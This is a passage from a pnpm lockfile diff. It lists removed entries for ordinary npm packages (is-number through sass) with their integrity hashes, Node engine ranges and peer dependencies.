- resolution: {integrity: sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==} - - is-negative-zero@2.0.3: - resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==} - engines: {node: '>= 0.4'} - - is-number-object@1.0.7: - resolution: {integrity: sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==} - engines: {node: '>= 0.4'} - - is-number@7.0.0: - resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} - engines: {node: '>=0.12.0'} - - is-obj@1.0.1: - resolution: {integrity: sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==} - engines: {node: '>=0.10.0'} - - is-plain-obj@4.1.0: - resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==} - engines: {node: '>=12'} - - is-regex@1.1.4: - resolution: {integrity: sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==} - engines: {node: '>= 0.4'} - - is-regexp@1.0.0: - resolution: {integrity: sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==} - engines: {node: '>=0.10.0'} - - is-shared-array-buffer@1.0.3: - resolution: {integrity: sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg==} - engines: {node: '>= 0.4'} - - is-stream@2.0.1: - resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} - engines: {node: '>=8'} - - is-stream@4.0.1: - resolution: {integrity: sha512-Dnz92NInDqYckGEUJv689RbRiTSEHCQ7wOVeALbkOz999YpqT46yMRIGtSNl2iCL1waAZSx40+h59NV/EwzV/A==} - engines: {node: '>=18'} - - is-string@1.0.7: - resolution: {integrity: sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==} - engines: {node: '>= 0.4'} - - is-symbol@1.0.4: - resolution: {integrity: sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==} - engines: {node: '>= 0.4'} - - is-typed-array@1.1.13: - resolution: {integrity: sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw==} - engines: {node: '>= 0.4'} - - is-unicode-supported@1.3.0: - resolution: {integrity: sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==} - engines: {node: '>=12'} - - is-unicode-supported@2.0.0: - resolution: {integrity: sha512-FRdAyx5lusK1iHG0TWpVtk9+1i+GjrzRffhDg4ovQ7mcidMQ6mj+MhKPmvh7Xwyv5gIS06ns49CA7Sqg7lC22Q==} - engines: {node: '>=18'} - - is-weakref@1.0.2: - resolution: {integrity: sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==} - - isarray@2.0.5: - resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==} - - isexe@2.0.0: - resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} - - jake@10.9.2: - resolution: {integrity: sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==} - engines: {node: '>=10'} - hasBin: true - - js-tokens@4.0.0: - resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} - - js-yaml@3.14.1: - resolution: {integrity: sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==} - hasBin: true - - js-yaml@4.1.0: - resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} - hasBin: true - - jsesc@0.5.0: - resolution: {integrity: sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==} - hasBin: true - - jsesc@2.5.2: - resolution: {integrity: sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==} - engines: {node: '>=4'} - hasBin: true - - json-schema-traverse@1.0.0: - resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} - - json-schema@0.4.0: - resolution: {integrity: sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==} - - json5@2.2.3: - resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} - engines: {node: '>=6'} - hasBin: true - - jsonfile@6.1.0: - resolution: {integrity: sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==} - - jsonpointer@5.0.1: - resolution: {integrity: sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==} - engines: {node: '>=0.10.0'} - - kind-of@6.0.3: - resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} - engines: {node: '>=0.10.0'} - - leven@3.1.0: - resolution: {integrity: sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==} - engines: {node: '>=6'} - - lilconfig@3.1.2: - resolution: {integrity: sha512-eop+wDAvpItUys0FWkHIKeC9ybYrTGbU41U5K7+bttZZeohvnY7M9dZ5kB21GNWiFT2q1OoPTvncPCgSOVO5ow==} - engines: {node: '>=14'} - - linkify-it@5.0.0: - resolution: {integrity: sha512-5aHCbzQRADcdP+ATqnDuhhJ/MRIqDkZX5pyjFHRRysS8vZ5AbqGEoFIb6pYHPZ+L/OC2Lc+xT8uHVVR5CAK/wQ==} - - lit-element@4.0.6: - resolution: {integrity: sha512-U4sdJ3CSQip7sLGZ/uJskO5hGiqtlpxndsLr6mt3IQIjheg93UKYeGQjWMRql1s/cXNOaRrCzC2FQwjIwSUqkg==} - - lit-html@3.1.4: - resolution: {integrity: sha512-yKKO2uVv7zYFHlWMfZmqc+4hkmSbFp8jgjdZY9vvR9jr4J8fH6FUMXhr+ljfELgmjpvlF7Z1SJ5n5/Jeqtc9YA==} - - lit@3.1.4: - resolution: {integrity: sha512-q6qKnKXHy2g1kjBaNfcoLlgbI3+aSOZ9Q4tiGa9bGYXq5RBXxkVTqTIVmP2VWMp29L4GyvCFm8ZQ2o56eUAMyA==} - - locate-path@5.0.0: - resolution: {integrity: sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==} - engines: {node: '>=8'} - - lodash.debounce@4.0.8: - resolution: {integrity: sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==} - - lodash.sortby@4.7.0: - resolution: {integrity: sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==} - - lodash@4.17.21: - resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} - - log-symbols@6.0.0: - resolution: {integrity: sha512-i24m8rpwhmPIS4zscNzK6MSEhk0DUWa/8iYQWxhffV8jkI4Phvs3F+quL5xvS0gdQR0FyTCMMH33Y78dDTzzIw==} - engines: {node: '>=18'} - - lru-cache@5.1.1: - resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} - - magic-string@0.25.9: - resolution: {integrity: sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==} - - magic-string@0.30.10: - resolution: {integrity: sha512-iIRwTIf0QKV3UAnYK4PU8uiEc4SRh5jX0mwpIwETPpHdhVM4f53RSwS/vXvN1JhGX+Cs7B8qIq3d6AH49O5fAQ==} - - markdown-it-anchor@9.0.1: - resolution: {integrity: sha512-cBt7aAzmkfX8X7FqAe8EBryiKmToXgMQEEMqkXzWCm0toDtfDYIGboKeTKd8cpNJArJtutrf+977wFJTsvNGmQ==} - peerDependencies: - '@types/markdown-it': '*' - markdown-it: '*' - - markdown-it-emoji@3.0.0: - resolution: {integrity: sha512-+rUD93bXHubA4arpEZO3q80so0qgoFJEKRkRbjKX8RTdca89v2kfyF+xR3i2sQTwql9tpPZPOQN5B+PunspXRg==} - - markdown-it@14.1.0: - resolution: {integrity: sha512-a54IwgWPaeBCAAsv13YgmALOF1elABB08FxO9i+r4VFk5Vl4pKokRPeX8u5TCgSsPi6ec1otfLjdOpVcgbpshg==} - hasBin: true - - mathjax-full@3.2.2: - resolution: {integrity: sha512-+LfG9Fik+OuI8SLwsiR02IVdjcnRCy5MufYLi0C3TdMT56L/pjB0alMVGgoWJF8pN9Rc7FESycZB9BMNWIid5w==} - - mdurl@2.0.0: - resolution: {integrity: sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w==} - - merge2@1.4.1: - resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} - engines: {node: '>= 8'} - - mhchemparser@4.2.1: - resolution: {integrity: sha512-kYmyrCirqJf3zZ9t/0wGgRZ4/ZJw//VwaRVGA75C4nhE60vtnIzhl9J9ndkX/h6hxSN7pjg/cE0VxbnNM+bnDQ==} - - micromatch@4.0.7: - resolution: {integrity: sha512-LPP/3KorzCwBxfeUuZmaR6bG2kdeHSbe0P2tY3FLRU4vYrjYz5hI4QZwV0njUx3jeuKe67YukQ1LSPZBKDqO/Q==} - engines: {node: '>=8.6'} - - mimic-fn@2.1.0: - resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} - engines: {node: '>=6'} - - minimatch@3.1.2: - resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} - - minimatch@5.1.6: - resolution: {integrity: sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==} - engines: {node: '>=10'} - - mitt@3.0.1: - resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==} - - mj-context-menu@0.6.1: - resolution: {integrity: sha512-7NO5s6n10TIV96d4g2uDpG7ZDpIhMh0QNfGdJw/W47JswFcosz457wqz/b5sAKvl12sxINGFCn80NZHKwxQEXA==} - - ms@2.1.2: - resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==} - - nanoid@3.3.7: - resolution: {integrity: sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==} - engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} - hasBin: true - - nanoid@5.0.7: - resolution: {integrity: sha512-oLxFY2gd2IqnjcYyOXD8XGCftpGtZP2AbHbOkthDkvRywH5ayNtPVy9YlOPcHckXzbLTCHpkb7FB+yuxKV13pQ==} - engines: {node: ^18 || >=20} - hasBin: true - - node-releases@2.0.18: - resolution: {integrity: sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==} - - normalize-path@3.0.0: - resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} - engines: {node: '>=0.10.0'} - - normalize-range@0.1.2: - resolution: {integrity: sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==} - engines: {node: '>=0.10.0'} - - npm-run-path@5.3.0: - resolution: {integrity: sha512-ppwTtiJZq0O/ai0z7yfudtBpWIoxM8yE6nHi1X47eFR2EWORqfbu6CnPlNsjeN683eT0qG6H/Pyf9fCcvjnnnQ==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - - nth-check@2.1.1: - resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==} - - object-inspect@1.13.2: - resolution: {integrity: sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==} - engines: {node: '>= 0.4'} - - object-keys@1.1.1: - resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} - engines: {node: '>= 0.4'} - - object.assign@4.1.5: - resolution: {integrity: sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==} - engines: {node: '>= 0.4'} - - once@1.4.0: - resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} - - onetime@5.1.2: - resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} - engines: {node: '>=6'} - - ora@8.0.1: - resolution: {integrity: sha512-ANIvzobt1rls2BDny5fWZ3ZVKyD6nscLvfFRpQgfWsythlcsVUC9kL0zq6j2Z5z9wwp1kd7wpsD/T9qNPVLCaQ==} - engines: {node: '>=18'} - - p-limit@2.3.0: - resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==} - engines: {node: '>=6'} - - p-locate@4.1.0: - resolution: {integrity: sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==} - engines: {node: '>=8'} - - p-try@2.2.0: - resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} - engines: {node: '>=6'} - - parse-ms@4.0.0: - resolution: {integrity: sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw==} - engines: {node: '>=18'} - - parse5-htmlparser2-tree-adapter@7.0.0: - resolution: {integrity: sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==} - - parse5@7.1.2: - resolution: {integrity: sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==} - - path-exists@4.0.0: - resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} - engines: {node: '>=8'} - - path-is-absolute@1.0.1: - resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==} - engines: {node: '>=0.10.0'} - - path-key@3.1.1: - resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} - engines: {node: '>=8'} - - path-key@4.0.0: - resolution: {integrity: sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==} - engines: {node: '>=12'} - - path-parse@1.0.7: - resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} - - path-type@5.0.0: - resolution: {integrity: sha512-5HviZNaZcfqP95rwpv+1HDgUamezbqdSYTyzjTvwtJSnIH+3vnbmWsItli8OFEndS984VT55M3jduxZbX351gg==} - engines: {node: '>=12'} - - photoswipe@5.4.4: - resolution: {integrity: sha512-WNFHoKrkZNnvFFhbHL93WDkW3ifwVOXSW3w1UuZZelSmgXpIGiZSNlZJq37rR8YejqME2rHs9EhH9ZvlvFH2NA==} - engines: {node: '>= 0.12.0'} - - picocolors@1.0.1: - resolution: {integrity: sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew==} - - picomatch@2.3.1: - resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} - engines: {node: '>=8.6'} - - pngjs@5.0.0: - resolution: {integrity: sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw==} - engines: {node: '>=10.13.0'} - - possible-typed-array-names@1.0.0: - resolution: {integrity: sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==} - engines: {node: '>= 0.4'} - - postcss-load-config@6.0.1: - resolution: {integrity: sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==} - engines: {node: '>= 18'} - peerDependencies: - jiti: '>=1.21.0' - postcss: '>=8.0.9' - tsx: ^4.8.1 - yaml: ^2.4.2 - peerDependenciesMeta: - jiti: - optional: true - postcss: - optional: true - tsx: - optional: true - yaml: - optional: true - - postcss-value-parser@4.2.0: - resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} - - postcss@8.4.40: - resolution: {integrity: sha512-YF2kKIUzAofPMpfH6hOi2cGnv/HrUlfucspc7pDyvv7kGdqXrfj8SCl/t8owkEgKEuu8ZcRjSOxFxVLqwChZ2Q==} - engines: {node: ^10 || ^12 || >=14} - - preact@10.23.1: - resolution: {integrity: sha512-O5UdRsNh4vdZaTieWe3XOgSpdMAmkIYBCT3VhQDlKrzyCm8lUYsk0fmVEvoQQifoOjFRTaHZO69ylrzTW2BH+A==} - - pretty-bytes@5.6.0: - resolution: {integrity: sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==} - engines: {node: '>=6'} - - pretty-ms@9.1.0: - resolution: {integrity: sha512-o1piW0n3tgKIKCwk2vpM/vOV13zjJzvP37Ioze54YlTHE06m4tjEbzg9WsKkvTuyYln2DHjo5pY4qrZGI0otpw==} - engines: {node: '>=18'} - - punycode.js@2.3.1: - resolution: {integrity: sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==} - engines: {node: '>=6'} - - punycode@2.3.1: - resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} - engines: {node: '>=6'} - - qrcode@1.5.3: - resolution: {integrity: sha512-puyri6ApkEHYiVl4CFzo1tDkAZ+ATcnbJrJ6RiBM1Fhctdn/ix9MTE3hRph33omisEbC/2fcfemsseiKgBPKZg==} - engines: {node: '>=10.13.0'} - hasBin: true - - queue-microtask@1.2.3: - resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} - - randombytes@2.1.0: - resolution: {integrity: sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==} - - readdirp@3.6.0: - resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} - engines: {node: '>=8.10.0'} - - regenerate-unicode-properties@10.1.1: - resolution: {integrity: sha512-X007RyZLsCJVVrjgEFVpLUTZwyOZk3oiL75ZcuYjlIWd6rNJtOjkBwQc5AsRrpbKVkxN6sklw/k/9m2jJYOf8Q==} - engines: {node: '>=4'} - - regenerate@1.4.2: - resolution: {integrity: sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==} - - regenerator-runtime@0.14.1: - resolution: {integrity: sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==} - - regenerator-transform@0.15.2: - resolution: {integrity: sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==} - - regexp.prototype.flags@1.5.2: - resolution: {integrity: sha512-NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw==} - engines: {node: '>= 0.4'} - - regexpu-core@5.3.2: - resolution: {integrity: sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==} - engines: {node: '>=4'} - - register-service-worker@1.7.2: - resolution: {integrity: sha512-CiD3ZSanZqcMPRhtfct5K9f7i3OLCcBBWsJjLh1gW9RO/nS94sVzY59iS+fgYBOBqaBpf4EzfqUF3j9IG+xo8A==} - - regjsparser@0.9.1: - resolution: {integrity: sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==} - hasBin: true - - require-directory@2.1.1: - resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==} - engines: {node: '>=0.10.0'} - - require-from-string@2.0.2: - resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} - engines: {node: '>=0.10.0'} - - require-main-filename@2.0.0: - resolution: {integrity: sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==} - - resolve@1.22.8: - resolution: {integrity: sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==} - hasBin: true - - restore-cursor@4.0.0: - resolution: {integrity: sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - - reusify@1.0.4: - resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==} - engines: {iojs: '>=1.0.0', node: '>=0.10.0'} - - rollup@2.79.1: - resolution: {integrity: sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==} - engines: {node: '>=10.0.0'} - hasBin: true - - rollup@4.19.0: - resolution: {integrity: sha512-5r7EYSQIowHsK4eTZ0Y81qpZuJz+MUuYeqmmYmRMl1nwhdmbiYqt5jwzf6u7wyOzJgYqtCRMtVRKOtHANBz7rA==} - engines: {node: '>=18.0.0', npm: '>=8.0.0'} - hasBin: true - - run-parallel@1.2.0: - resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} - - safe-array-concat@1.1.2: - resolution: {integrity: sha512-vj6RsCsWBCf19jIeHEfkRMw8DPiBb+DMXklQ/1SGDHOMlHdPUkZXFQ2YdplS23zESTijAcurb1aSgJA3AgMu1Q==} - engines: {node: '>=0.4'} - - safe-buffer@5.2.1: - resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} - - safe-regex-test@1.0.3: - resolution: {integrity: sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw==} - engines: {node: '>= 0.4'} - - sass@1.77.8: - resolution: {integrity: 